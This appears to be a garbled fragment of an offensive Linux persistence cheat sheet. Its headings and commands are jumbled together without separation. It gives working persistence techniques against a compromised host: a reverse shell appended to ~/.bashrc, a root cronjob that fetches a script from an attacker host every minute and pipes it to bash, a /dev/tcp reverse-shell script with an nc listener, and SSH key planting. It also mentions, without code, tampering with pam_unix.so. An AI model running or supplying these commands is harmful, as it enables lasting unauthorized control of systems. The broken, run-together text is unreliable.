PAMpam_unix.so file is responsible for authentication
pam_unix.so uses the unix_verify_password function to verify to user's supplied password :
.bashsrcAny user that log in often :
Put a nc listener
CronJobConfigure a task where every minute a reverse shell is sent to you. Add this line into your cronjob file :
Add this to the shell file :
On the attacker machine :
SSHecho 'bash -i >& /dev/tcp/ip/port 0>&1' >> ~/.bashrc* * * * * root curl http://$attacker_ip:8080/shell | bash#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1nc -nvlp $portssh-keygenmkdir .ssh
cp id_rsa .ssh/id_rsa

